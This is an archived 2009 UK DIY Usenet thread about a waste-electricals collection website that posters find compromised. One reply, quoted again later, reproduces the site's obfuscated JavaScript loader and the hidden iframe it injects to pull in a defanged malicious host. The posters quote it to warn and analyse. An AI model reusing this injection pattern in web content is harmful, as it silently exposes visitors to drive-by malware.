UK diy (uk.d-i-y) For the discussion of all topics related to diy (do-it-yourself) in the UK. All levels of experience and proficency are welcome to join in to ask questions or offer solutions.

Reply
 
LinkBack Thread Tools Search this Thread Display Modes
  #1   Report Post  
Posted to uk.d-i-y
external usenet poster
 
Posts: 477
Default wee disposal

I see we now pay a weee surcharge on fluorescent tubes but does it subsidise
this sort of thing:

http://www.weeecollect.it/

Or do they actually turn a profit on the materials recovered from scrap
electrical items?

AJH
  #2   Report Post  
Posted to uk.d-i-y
external usenet poster
 
Posts: 1,036
Default WARNING: THIS SITE MAY BE COMPROMISED

The web-site mentioned in the OP may be compromised, at any rate
when I opened it with IE6 on Win XP Pro my laptop shut down
and when restarted Symantec AV reported
http://securityresponse.symantec.com...057-99&tabid=1


--
Graham.

%Profound_observation%


  #3   Report Post  
Posted to uk.d-i-y
external usenet poster
 
Posts: 717
Default wee disposal

andrew wrote:
I see we now pay a weee surcharge on fluorescent tubes but does it
subsidise this sort of thing:

http://ww.weeecollect [1]

Or do they actually turn a profit on the materials recovered from
scrap electrical items?

AJH


Andrew,

*BE* *AWARE*

This may be a false positive, but each time I try to access the link that
you give it is blocked by Norton Internet Security in both Outlook Explorer
and Firefox - giving the message that my computer was being 'attacked by'
the HTTP Malicious Toolkit Variant Activity 2.

See this link for brief details:

http://www.symantec.com/business/sec...jsp?asid=23093

[1] Doctored to prevent accidental opening of the link (even though the
original is still available in the OP)


Cash


  #4   Report Post  
Posted to uk.d-i-y
external usenet poster
 
Posts: 717
Default wee disposal

Cash wrote:
andrew wrote:
I see we now pay a weee surcharge on fluorescent tubes but does it
subsidise this sort of thing:

http://ww.weeecollect [1]

Or do they actually turn a profit on the materials recovered from
scrap electrical items?

AJH


Andrew,

*BE* *AWARE*

This may be a false positive, but each time I try to access the link
that you give it is blocked by Norton Internet Security in both
Outlook Explorer and Firefox - giving the message that my computer
was being 'attacked by' the HTTP Malicious Toolkit Variant Activity
2.
See this link for brief details:

http://www.symantec.com/business/sec...jsp?asid=23093

[1] Doctored to prevent accidental opening of the link (even
though the original is still available in the OP)


Cash


Error Correction:

*Outlook* Explorer should have been *Internet* Explorer.

Cash


  #5   Report Post  
Posted to uk.d-i-y
external usenet poster
 
Posts: 1,368
Default WARNING: THIS SITE MAY BE COMPROMISED

Graham. wrote:
The web-site mentioned in the OP may be compromised, at any rate
when I opened it with IE6 on Win XP Pro my laptop shut down
and when restarted Symantec AV reported
http://securityresponse.symantec.com...057-99&tabid=1


I got similar from Avast and proceeded no further.




  #6   Report Post  
Posted to uk.d-i-y
external usenet poster
 
Posts: 1,368
Default WARNING: THIS SITE MAY BE COMPROMISED

Owain wrote:
On 14 July, 22:56, "Graham." wrote:
The web-site mentioned in the OP may be compromised, at any rate
when I opened it with IE6 on Win XP Pro my laptop shut down
and when restarted Symantec AV
reportedhttp://securityresponse.symantec.com/security_response/writeup.jsp?do...


I didn't get any warnings opening it with Firefox on Linux ;-)


And?


  #7   Report Post  
Posted to uk.d-i-y
external usenet poster
 
Posts: 43,017
Default WARNING: THIS SITE MAY BE COMPROMISED

In article ,
Graham. wrote:
The web-site mentioned in the OP may be compromised,


Err, what OP?

--
*Yes, I am an agent of Satan, but my duties are largely ceremonial

Dave Plowman London SW
To e-mail, change noise into sound.
  #8   Report Post  
Posted to uk.d-i-y
external usenet poster
 
Posts: 477
Default wee disposal



This may be a false positive, but each time I try to access the link that
you give it is blocked by Norton Internet Security in both Outlook
Explorer and Firefox - giving the message that my computer was being
'attacked by'



Thanks for the warning Cash, It wouldn't have flagged up on this OS. OTOH I
came across them from a flyer posted through my door and have no reason to
believe the site is pernicious.

AJH
  #9   Report Post  
Posted to uk.d-i-y
external usenet poster
 
Posts: 215
Default wee disposal

Cash wrote:

This may be a false positive, but each time I try to access the link that
you give it is blocked by Norton Internet Security in both Outlook Explorer
and Firefox - giving the message that my computer was being 'attacked by'
the HTTP Malicious Toolkit Variant Activity 2.


It contains an obfuscated section of Javascript

script type="text/javascript"
var kPvOkYUlTEBvLmAPjYUP =
"nd60nd105nd102nd114nd97nd109nd101nd32nd119nd105nd 100nd116nd104nd61nd34nd52nd56nd48nd34nd32nd104nd10 1nd105nd103nd104nd116nd61nd34nd54nd48nd34nd32nd115 nd114nd99nd61nd34nd104nd116nd116nd112nd58nd47nd47n d104nd105nd116nd45nd115nd101nd110nd100nd101nd114nd 115nd46nd99nd110nd47nd102nd105nd110nd100nd47nd105n d110nd46nd99nd103nd105nd63nd49nd50nd34nd32nd115nd1 16nd121nd108nd101nd61nd34nd98nd111nd114nd100nd101n d114nd58nd48nd112nd120nd59nd32nd112nd111nd115nd105 nd116nd105nd111nd110nd58nd114nd101nd108nd97nd116nd 105nd118nd101nd59nd32nd116nd111nd112nd58nd48nd112n d120nd59nd32nd108nd101nd102nd116nd58nd45nd53nd48nd 48nd112nd120nd59nd32nd111nd112nd97nd99nd105nd116nd 121nd58nd48nd59nd32nd102nd105nd108nd116nd101nd114n d58nd112nd114nd111nd103nd105nd100nd58nd68nd88nd73n d109nd97nd103nd101nd84nd114nd97nd110nd115nd102nd11 1nd114nd109nd46nd77nd105nd99nd114nd111nd115nd111nd 102nd116nd46nd65nd108nd112nd104nd97nd40nd111nd112n d97nd99nd105nd116nd121nd61nd48nd41nd59nd32nd45nd10 9nd111nd122nd45nd111nd112nd97nd99nd105n
d116nd121nd58nd48nd34nd62nd60nd47nd105nd102nd114nd 97nd109nd101nd62";
var LQweQmnfGaTqpPFaoZLH = kPvOkYUlTEBvLmAPjYUP.split("nd");
var dNCoADEkcYAnpwSFjFkp = "";
for (var fDfVTkvHKHOnVRcVUgGw = 1;
fDfVTkvHKHOnVRcVUgGw LQweQmnfGaTqpPFaoZLH.length;
fDfVTkvHKHOnVRcVUgGw++)
{
dNCoADEkcYAnpwSFjFkp +=
String.fromCharCode(LQweQmnfGaTqpPFaoZLH[fDfVTkvHKHOnVRcVUgGw]);
}
document.write(dNCoADEkcYAnpwSFjFkp)/script

which inserts the following html (without the x's) into the document

iframe width="480" height="60" style="border: 0px none ; position:
relative; top: 0px; left: -500px; opacity: 0;"
src="http://xxx.hit-senders.cn.xxx/find/in.cgi?12"/

The frame content seems to be the reported attack site, according to Google.

http://safebrowsing.clients.google.c...enders.cn/find
  #10   Report Post  
Posted to uk.d-i-y
external usenet poster
 
Posts: 9,369
Default WARNING: THIS SITE MAY BE COMPROMISED



"Clot" wrote in message
...
Owain wrote:
On 14 July, 22:56, "Graham." wrote:
The web-site mentioned in the OP may be compromised, at any rate
when I opened it with IE6 on Win XP Pro my laptop shut down
and when restarted Symantec AV
reportedhttp://securityresponse.symantec.com/security_response/writeup.jsp?do...


I didn't get any warnings opening it with Firefox on Linux ;-)


And?



He is another of those linux people that thinks he is safe, wrongly!



  #11   Report Post  
Posted to uk.d-i-y
external usenet poster
 
Posts: 9,369
Default wee disposal



"Andy Burns" wrote in message
...
avast!: Message body was removed because it contained a virus.


I don't know what you tried to post but avast doesn't like it.
Avast thinks its an html Iframe attack.

  #12   Report Post  
Posted to uk.d-i-y
external usenet poster
 
Posts: 215
Default wee disposal

dennis@home wrote:

"Andy Burns" wrote in message
...
avast!: Message body was removed because it contained a virus.


Slight exaggeration from avast.

I don't know what you tried to post but avast doesn't like it.
Avast thinks its an html Iframe attack.


My post included details of how the original site uses obfuscated
javascript to insert an iframe into the webpage, the target of the
iframe is an attack site, but I did alter the url.

  #13   Report Post  
Posted to uk.d-i-y
external usenet poster
 
Posts: 433
Default WARNING: THIS SITE MAY BE COMPROMISED

On Wed, 15 Jul 2009 09:32:46 +0100, "dennis@home"
wrote:


He is another of those linux people that thinks he is safe, wrongly!


Then he should read this from the Symantec page.

"Rootkits first appeared on the UNIX operating system. Administrator/Superuser
accounts on UNIX systems are called root. "
  #14   Report Post  
Posted to uk.d-i-y
external usenet poster
 
Posts: 9,369
Default wee disposal



"Andy Burns" wrote in message
o.uk...
dennis@home wrote:

"Andy Burns" wrote in message
...
avast!: Message body was removed because it contained a virus.


Slight exaggeration from avast.

I don't know what you tried to post but avast doesn't like it.
Avast thinks its an html Iframe attack.


My post included details of how the original site uses obfuscated
javascript to insert an iframe into the webpage, the target of the iframe
is an attack site, but I did alter the url.


I thought it was that.

Avast doesn't know if the site is bad but it does understand that something
devious is being attempted and blocks it.


Do these iframe attacks work on the linux version of FF if they have the
java script enabled?
I know its an old security hole that shouldn't work on IE8 but avast doesn't
like it still.

  #15   Report Post  
Posted to uk.d-i-y
external usenet poster
 
Posts: 25,191
Default wee disposal

andrew wrote:
This may be a false positive, but each time I try to access the link that
you give it is blocked by Norton Internet Security in both Outlook
Explorer and Firefox - giving the message that my computer was being
'attacked by'



Thanks for the warning Cash, It wouldn't have flagged up on this OS. OTOH I
came across them from a flyer posted through my door and have no reason to
believe the site is pernicious.


In many cases a dodgy site was not actually intending to be harmful.
However it ends up that way either as a result of getting compromised
itself, or by hosting ads from an ad server that is carrying malicious
content.

--
Cheers,

John.

/================================================== ===============\
| Internode Ltd - http://www.internode.co.uk |
|-----------------------------------------------------------------|
| John Rumm - john(at)internode(dot)co(dot)uk |
\================================================= ================/


  #16   Report Post  
Posted to uk.d-i-y
external usenet poster
 
Posts: 9,369
Default WARNING: THIS SITE MAY BE COMPROMISED



"Andy Cap" wrote in message
...
On Wed, 15 Jul 2009 09:32:46 +0100, "dennis@home"
wrote:


He is another of those linux people that thinks he is safe, wrongly!


Then he should read this from the Symantec page.

"Rootkits first appeared on the UNIX operating system.
Administrator/Superuser
accounts on UNIX systems are called root. "


Its quite common amongst linux users to think they are invulnerable.. so
they don't take much in the way of security precautions. This is made worse
because the majority of them are unable to tell if they have been rooted as
they have no tools to tell them and they don't understand what should be
running on their machine in the first place.


They will counter this argument by saying how many exploits exist for
windows.. this being the fools argument as we are not talking about how
secure windows is.

  #17   Report Post  
Posted to uk.d-i-y
external usenet poster
 
Posts: 25,191
Default wee disposal

Andy Burns wrote:

It contains an obfuscated section of Javascript


I have sent a report to their webmaster and, just in case, their web
host. I will be interesting to see what if anything that achieves.

--
Cheers,

John.

/================================================== ===============\
| Internode Ltd - http://www.internode.co.uk |
|-----------------------------------------------------------------|
| John Rumm - john(at)internode(dot)co(dot)uk |
\================================================= ================/
  #18   Report Post  
Posted to uk.d-i-y
external usenet poster
 
Posts: 574
Default WARNING: THIS SITE MAY BE COMPROMISED

On Wed, 15 Jul 2009 10:42:53 +0100
"dennis@home" wrote:



"Andy Cap" wrote in message
...
On Wed, 15 Jul 2009 09:32:46 +0100, "dennis@home"
wrote:


He is another of those linux people that thinks he is safe, wrongly!


Then he should read this from the Symantec page.

"Rootkits first appeared on the UNIX operating system.
Administrator/Superuser
accounts on UNIX systems are called root. "


Its quite common amongst linux users to think they are invulnerable.. so
they don't take much in the way of security precautions. This is made worse
because the majority of them are unable to tell if they have been rooted as
they have no tools to tell them and they don't understand what should be
running on their machine in the first place.


They will counter this argument by saying how many exploits exist for
windows.. this being the fools argument as we are not talking about how
secure windows is.


Indeed you are correct. I am a Linux user, but I consider it important
to have up-to-date firewalls, virus checkers on both incoming and
outgoing mail, and I check the logs daily to see if I need to do
anything more. In fact I go further and have a firewall on the
Internet connection machine, and then individual firewalls on each
client. The outgoing virus check is to protect you Windows users from
anything that might infect me.

It is true however, that for a layman, Linux is less often targeted,
and thus you might get away with it for longer. I also think that the
average Linux user could rebuild his system if it got compromised, but
the average Windows user can't.

R. (FBCS CITP)




  #19   Report Post  
Posted to uk.d-i-y
external usenet poster
 
Posts: 2,040
Default WARNING: THIS SITE MAY BE COMPROMISED

TheOldFellow wrote:
It is true however, that for a layman, Linux is less often targeted,
and thus you might get away with it for longer. I also think that the
average Linux user could rebuild his system if it got compromised, but
the average Windows user can't.


The "average" linux user, if they built the system themselves, would be
experienced enough to reinstall it. However, it is a great memory feat
to remember all the kludges and text file fixes to get some bits of
hardware configured correctly again. The words 'pulseaudio' and 'WPA
supplicant' are not in my good books at the moment.

If a user has had their machine built by someone else, then they just
have to upgrade their own human existance to sysadmin - or find
something or someone in PC World :-(

It's crazy running heavy weight do-everything operating systems in the
wilds of consumer land. Users shouldn't need to deal with file objects
ever. We should be running with 'internet appliances' - thin clients and
remote support, applications & maintenance. Business machines should
have stayed in the business world IMO. And that includes Linux...

Something nicely solidstate, plugged into a monitor / flat panel TV,
with just a web browser and broadband connection - wouldn't have been so
hard. The games console sucessors to the 80's 'home computer' are almost
there...

--
Adrian C
  #20   Report Post  
Posted to uk.d-i-y
external usenet poster
 
Posts: 43,017
Default WARNING: THIS SITE MAY BE COMPROMISED

In article ,
TheOldFellow wrote:
It is true however, that for a layman, Linux is less often targeted,
and thus you might get away with it for longer. I also think that the
average Linux user could rebuild his system if it got compromised, but
the average Windows user can't.


RISC OS isn't targeted at all. ;-)

--
*Few women admit their age; fewer men act it.

Dave Plowman London SW
To e-mail, change noise into sound.


  #21   Report Post  
Posted to uk.d-i-y
external usenet poster
 
Posts: 1,533
Default wee disposal


"andrew" wrote in message
...
I see we now pay a weee surcharge on fluorescent tubes but does it
subsidise
this sort of thing:

http://www.weeecollect.it/


Yep


Or do they actually turn a profit on the materials recovered from scrap
electrical items?


There is little or no chance of them doing this.

tim



  #22   Report Post  
Posted to uk.d-i-y
external usenet poster
 
Posts: 1,036
Default WARNING: THIS SITE MAY BE COMPROMISED




Err, what OP?


The post at the root of this thread (which was called "wee disposal")

--
Graham.

%Profound_observation%


  #23   Report Post  
Posted to uk.d-i-y
external usenet poster
 
Posts: 1,036
Default wee disposal


This may be a false positive, but each time I try to access the link
that
you give it is blocked by Norton Internet Security in both Outlook
Explorer and Firefox - giving the message that my computer was being
'attacked by'



Thanks for the warning Cash, It wouldn't have flagged up on this OS. OTOH
I
came across them from a flyer posted through my door and have no reason to
believe the site is pernicious.


I don't doubt that you posted the link in good faith, but I understand that
it's increasingly common these days for hackers and phishers to seed
their attacks using hard-copy leaflets etc. often left behind wiper-
blades in car parks.

To satisfy the curiosity of those of us who don't want to (re)visit
the site, can you describe what is on it, I imagine it's humorous
jugging by the context of your OP.
I remember some MIDI music and large coloured text before
my machine re-started itself.
Doesn't seem to be any permanent damage.

--
Graham.

%Profound_observation%


  #24   Report Post  
Posted to uk.d-i-y
external usenet poster
 
Posts: 1,036
Default wee disposal



"Andy Burns" wrote in message
...
Cash wrote:

This may be a false positive, but each time I try to access the link
that you give it is blocked by Norton Internet Security in both Outlook
Explorer and Firefox - giving the message that my computer was being
'attacked by' the HTTP Malicious Toolkit Variant Activity 2.


It contains an obfuscated section of Javascript

script type="text/javascript"
var kPvOkYUlTEBvLmAPjYUP =
"nd60nd105nd102nd114nd97nd109nd101nd32nd119nd105nd 100nd116nd104nd61nd34nd52nd56nd48nd34nd32nd104nd10 1nd105nd103nd104nd116nd61nd34nd54nd48nd34nd32nd115 nd114nd99nd61nd34nd104nd116nd116nd112nd58nd47nd47n d104nd105nd116nd45nd115nd101nd110nd100nd101nd114nd 115nd46nd99nd110nd47nd102nd105nd110nd100nd47nd105n d110nd46nd99nd103nd105nd63nd49nd50nd34nd32nd115nd1 16nd121nd108nd101nd61nd34nd98nd111nd114nd100nd101n d114nd58nd48nd112nd120nd59nd32nd112nd111nd115nd105 nd116nd105nd111nd110nd58nd114nd101nd108nd97nd116nd 105nd118nd101nd59nd32nd116nd111nd112nd58nd48nd112n d120nd59nd32nd108nd101nd102nd116nd58nd45nd53nd48nd 48nd112nd120nd59nd32nd111nd112nd97nd99nd105nd116nd 121nd58nd48nd59nd32nd102nd105nd108nd116nd101nd114n d58nd112nd114nd111nd103nd105nd100nd58nd68nd88nd73n d109nd97nd103nd101nd84nd114nd97nd110nd115nd102nd11 1nd114nd109nd46nd77nd105nd99nd114nd111nd115nd111nd 102nd116nd46nd65nd108nd112nd104nd97nd40nd111nd112n d97nd99nd105nd116nd121nd61nd48nd41nd59nd32nd45nd10 9nd111nd122nd45nd111nd112nd97nd99nd105n
d116nd121nd58nd48nd34nd62nd60nd47nd105nd102nd114nd 97nd109nd101nd62";
var LQweQmnfGaTqpPFaoZLH = kPvOkYUlTEBvLmAPjYUP.split("nd");
var dNCoADEkcYAnpwSFjFkp = "";
for (var fDfVTkvHKHOnVRcVUgGw = 1;
fDfVTkvHKHOnVRcVUgGw LQweQmnfGaTqpPFaoZLH.length;
fDfVTkvHKHOnVRcVUgGw++)
{
dNCoADEkcYAnpwSFjFkp +=
String.fromCharCode(LQweQmnfGaTqpPFaoZLH[fDfVTkvHKHOnVRcVUgGw]);
}
document.write(dNCoADEkcYAnpwSFjFkp)/script

which inserts the following html (without the x's) into the document

iframe width="480" height="60" style="border: 0px none ; position:
relative; top: 0px; left: -500px; opacity: 0;"
src="http://xxx.hit-senders.cn.xxx/find/in.cgi?12"/

The frame content seems to be the reported attack site, according to
Google.

http://safebrowsing.clients.google.c...enders.cn/find


Interesting that the OP got the link in a hard-copy leaflet.
I understand this form of attack is on the increase.

--
Graham.

%Profound_observation%


  #25   Report Post  
Posted to uk.d-i-y
external usenet poster
 
Posts: 39,563
Default WARNING: THIS SITE MAY BE COMPROMISED

Adrian C wrote:
TheOldFellow wrote:
It is true however, that for a layman, Linux is less often targeted,
and thus you might get away with it for longer. I also think that the
average Linux user could rebuild his system if it got compromised, but
the average Windows user can't.


The "average" linux user, if they built the system themselves, would be
experienced enough to reinstall it. However, it is a great memory feat
to remember all the kludges and text file fixes to get some bits of
hardware configured correctly again. The words 'pulseaudio' and 'WPA
supplicant' are not in my good books at the moment.

Which is why the magic phrase apt-get remove pulseaudio..is there..total
crap. Use alsa..

If a user has had their machine built by someone else, then they just
have to upgrade their own human existance to sysadmin - or find
something or someone in PC World :-(

It's crazy running heavy weight do-everything operating systems in the
wilds of consumer land. Users shouldn't need to deal with file objects
ever. We should be running with 'internet appliances' - thin clients and
remote support, applications & maintenance. Business machines should
have stayed in the business world IMO. And that includes Linux...

Something nicely solidstate, plugged into a monitor / flat panel TV,
with just a web browser and broadband connection - wouldn't have been so
hard. The games console sucessors to the 80's 'home computer' are almost
there...



  #26   Report Post  
Posted to uk.d-i-y
external usenet poster
 
Posts: 25,191
Default wee disposal

Graham. wrote:
"Andy Burns" wrote in message
...
Cash wrote:

This may be a false positive, but each time I try to access the link
that you give it is blocked by Norton Internet Security in both Outlook
Explorer and Firefox - giving the message that my computer was being
'attacked by' the HTTP Malicious Toolkit Variant Activity 2.

It contains an obfuscated section of Javascript

script type="text/javascript"
var kPvOkYUlTEBvLmAPjYUP =
"nd60nd105nd102nd114nd97nd109nd101nd32nd119nd105nd 100nd116nd104nd61nd34nd52nd56nd48nd34nd32nd104nd10 1nd105nd103nd104nd116nd61nd34nd54nd48nd34nd32nd115 nd114nd99nd61nd34nd104nd116nd116nd112nd58nd47nd47n d104nd105nd116nd45nd115nd101nd110nd100nd101nd114nd 115nd46nd99nd110nd47nd102nd105nd110nd100nd47nd105n d110nd46nd99nd103nd105nd63nd49nd50nd34nd32nd115nd1 16nd121nd108nd101nd61nd34nd98nd111nd114nd100nd101n d114nd58nd48nd112nd120nd59nd32nd112nd111nd115nd105 nd116nd105nd111nd110nd58nd114nd101nd108nd97nd116nd 105nd118nd101nd59nd32nd116nd111nd112nd58nd48nd112n d120nd59nd32nd108nd101nd102nd116nd58nd45nd53nd48nd 48nd112nd120nd59nd32nd111nd112nd97nd99nd105nd116nd 121nd58nd48nd59nd32nd102nd105nd108nd116nd101nd114n d58nd112nd114nd111nd103nd105nd100nd58nd68nd88nd73n d109nd97nd103nd101nd84nd114nd97nd110nd115nd102nd11 1nd114nd109nd46nd77nd105nd99nd114nd111nd115nd111nd 102nd116nd46nd65nd108nd112nd104nd97nd40nd111nd112n d97nd99nd105nd116nd121nd61nd48nd41nd59nd32nd45nd10 9nd111nd122nd45nd111nd112nd97nd99nd1

05n
d116nd121nd58nd48nd34nd62nd60nd47nd105nd102nd114nd 97nd109nd101nd62";
var LQweQmnfGaTqpPFaoZLH = kPvOkYUlTEBvLmAPjYUP.split("nd");
var dNCoADEkcYAnpwSFjFkp = "";
for (var fDfVTkvHKHOnVRcVUgGw = 1;
fDfVTkvHKHOnVRcVUgGw LQweQmnfGaTqpPFaoZLH.length;
fDfVTkvHKHOnVRcVUgGw++)
{
dNCoADEkcYAnpwSFjFkp +=
String.fromCharCode(LQweQmnfGaTqpPFaoZLH[fDfVTkvHKHOnVRcVUgGw]);
}
document.write(dNCoADEkcYAnpwSFjFkp)/script

which inserts the following html (without the x's) into the document

iframe width="480" height="60" style="border: 0px none ; position:
relative; top: 0px; left: -500px; opacity: 0;"
src="http://xxx.hit-senders.cn.xxx/find/in.cgi?12"/

The frame content seems to be the reported attack site, according to
Google.

http://safebrowsing.clients.google.c...enders.cn/find


Interesting that the OP got the link in a hard-copy leaflet.
I understand this form of attack is on the increase.


I would expect that the site owner is unaware, and the site has been
compromised.

BTW I got a replay from the web hosting company to say they are
investigating.



--
Cheers,

John.

/================================================== ===============\
| Internode Ltd - http://www.internode.co.uk |
|-----------------------------------------------------------------|
| John Rumm - john(at)internode(dot)co(dot)uk |
\================================================= ================/
  #27   Report Post  
Posted to uk.d-i-y
external usenet poster
 
Posts: 25,191
Default wee disposal

Graham. wrote:

To satisfy the curiosity of those of us who don't want to (re)visit
the site, can you describe what is on it, I imagine it's humorous


You can't - it has been taken down now. However the google cache is
still live, and the cached version does *not* contain the exploit so you
can view it safely:

Google version:
http://209.85.229.132/search?q=cache...ient=firefox-a

jugging by the context of your OP.


The content looked like some brochure ware for a legit electrical good
disposal service. "FREE Electrical Waste Collection From Your Home
*Batteries, Cars and Metal Waste Included..."

I remember some MIDI music and large coloured text before
my machine re-started itself.
Doesn't seem to be any permanent damage.


I suggest downloading Malwarebytes antimalware and doing a full scan
just to be sure...


--
Cheers,

John.

/================================================== ===============\
| Internode Ltd - http://www.internode.co.uk |
|-----------------------------------------------------------------|
| John Rumm - john(at)internode(dot)co(dot)uk |
\================================================= ================/
  #28   Report Post  
Posted to uk.d-i-y
external usenet poster
 
Posts: 43,017
Default WARNING: THIS SITE MAY BE COMPROMISED

In article ,
Graham. wrote:
Err, what OP?


The post at the root of this thread (which was called "wee disposal")


Right. Can't be bothered with that type of threading.

--
*The average person falls asleep in seven minutes *

Dave Plowman London SW
To e-mail, change noise into sound.
  #29   Report Post  
Posted to uk.d-i-y
external usenet poster
 
Posts: 18
Default wee disposal

andrew wrote:
I see we now pay a weee surcharge on fluorescent tubes but does it subsidise
this sort of thing:

http://www.weeecollect.it/

Or do they actually turn a profit on the materials recovered from scrap
electrical items?

AJH


They leafleted my road recently. I put out the supplied 'WEEE - please
collect' sign (not the exact wording) and left the goods outside as
instructed, but they didn't show. When I called they promised to visit
or contact me, but again didn't. I had no problem with the website though.

One personal experience only, I know, but I wasn't impressed.

--
Dave
  #30   Report Post  
Posted to uk.d-i-y
external usenet poster
 
Posts: 25,191
Default WARNING: THIS SITE MAY BE COMPROMISED

Dave Plowman (News) wrote:
In article ,
Graham. wrote:
Err, what OP?


The post at the root of this thread (which was called "wee disposal")


Right. Can't be bothered with that type of threading.


Your first message was only one away from the top of the thread - it
can't be that confusing ;-)

(unless your newsreader can't handle the change of title properly that is).

--
Cheers,

John.

/================================================== ===============\
| Internode Ltd - http://www.internode.co.uk |
|-----------------------------------------------------------------|
| John Rumm - john(at)internode(dot)co(dot)uk |
\================================================= ================/


  #31   Report Post  
Posted to uk.d-i-y
external usenet poster
 
Posts: 477
Default WARNING: THIS SITE MAY BE COMPROMISED

John Rumm wrote:

Dave Plowman (News) wrote:
In article ,
Graham. wrote:
Err, what OP?


The post at the root of this thread (which was called "wee disposal")


Right. Can't be bothered with that type of threading.


Your first message was only one away from the top of the thread - it
can't be that confusing ;-)

(unless your newsreader can't handle the change of title properly that
is).

Depends on whether you thread by references or subjects as well.

In anycase they seem to have taken your warning and removed the pages.

It still begs the question, how do they access the WEEE tax?

AJH
  #32   Report Post  
Posted to uk.d-i-y
external usenet poster
 
Posts: 93
Default WARNING: THIS SITE MAY BE COMPROMISED

On Jul 15, 4:10*pm, "Graham." wrote:
Err, what OP?


The post at the root of this thread (which was called "wee disposal")


AKA "taking the ****" ;-)

  #33   Report Post  
Posted to uk.d-i-y
external usenet poster
 
Posts: 215
Default wee disposal

dennis@home wrote:

Do these iframe attacks work on the linux version of FF if they have the
java script enabled?


Well ... the browser on linux will attempt to download the malicious
payload, but that is likely to be a windows .exe or .ocx which unlikely
to have the desired effect when run on a linux box (even if it runs wine).

  #34   Report Post  
Posted to uk.d-i-y
external usenet poster
 
Posts: 43,017
Default WARNING: THIS SITE MAY BE COMPROMISED

In article ,
John Rumm wrote:
Right. Can't be bothered with that type of threading.


Your first message was only one away from the top of the thread - it
can't be that confusing ;-)


(unless your newsreader can't handle the change of title properly that
is).


The way it's set, no. But if the post that it referred to had been quoted
in the first post it would have been ok.

--
*I didn't drive my husband crazy -- I flew him there -- it was faster

Dave Plowman London SW
To e-mail, change noise into sound.
  #35   Report Post  
Posted to uk.d-i-y
external usenet poster
 
Posts: 2,040
Default WARNING: THIS SITE MAY BE COMPROMISED

The Natural Philosopher wrote:

Which is why the magic phrase apt-get remove pulseaudio..is there..total
crap. Use alsa..


The current Xubuntu/jaunty jackalope install of Alsa is kind of buggy(*)
for Wine use. Some reckon 9.04 Ubuntu's move to support pulseaudio has
screwed things for people uninstalling it or running without PA
installed in the first place (like the 9.04 build of Xubuntu).

* - However for me ALSA does work with Spotify/Wine on Xubuntu/jaunty
jackalope. I mean Spotify works but Wine's ALSA testing diagnostics tell
me it really shouldn't ;-)

On Ancient Kit: Compaq Deskpro EN SFF 810, PII class Celeron @ 500MHz,
512MB, Aureal Vortex II - snd-au8830 driver.

--
Adrian C


  #36   Report Post  
Posted to uk.d-i-y
external usenet poster
 
Posts: 2,040
Default wee disposal

Dave A wrote:

They leafleted my road recently. I put out the supplied 'WEEE - please
collect' sign (not the exact wording) and left the goods outside as
instructed, but they didn't show.


Isn't this a variation on the scam charity collections?

--
Adrian C
  #37   Report Post  
Posted to uk.d-i-y
external usenet poster
 
Posts: 18
Default wee disposal

Adrian C wrote:
Dave A wrote:

They leafleted my road recently. I put out the supplied 'WEEE - please
collect' sign (not the exact wording) and left the goods outside as
instructed, but they didn't show.


Isn't this a variation on the scam charity collections?

I don't think so. I thought the 'charity' collections aimed to profit
from being given clothing etc, by implying that it was for charity? In
the case of my (non working) TV, anyone who would take it away was
welcome to it and I wasn't led to believe that any good cause would benefit.

--
Dave
Reply
Thread Tools Search this Thread
Search this Thread:

Advanced Search
Display Modes

Posting Rules

Smilies are On
[IMG] code is On
HTML code is Off
Trackbacks are On
Pingbacks are On
Refbacks are On


Similar Threads
Thread Thread Starter Forum Replies Last Post
garbage disposal Dottie Home Repair 7 March 31st 08 11:21 PM
Cemtex disposal Sasha_Klamp UK diy 61 October 22nd 05 03:28 PM
For disposal. Kenny Electronics Repair 1 October 2nd 05 12:08 AM
Disposal of Old Hot Tub Jim Home Repair 10 September 13th 04 08:33 PM
Garbage disposal KRusso6984 Home Repair 7 February 14th 04 07:16 PM


All times are GMT +1. The time now is 04:26 AM.

Powered by vBulletin® Copyright ©2000 - 2024, Jelsoft Enterprises Ltd.
Copyright ©2004-2024 DIYbanter.
The comments are property of their posters.
 

About Us

"It's about DIY & home improvement"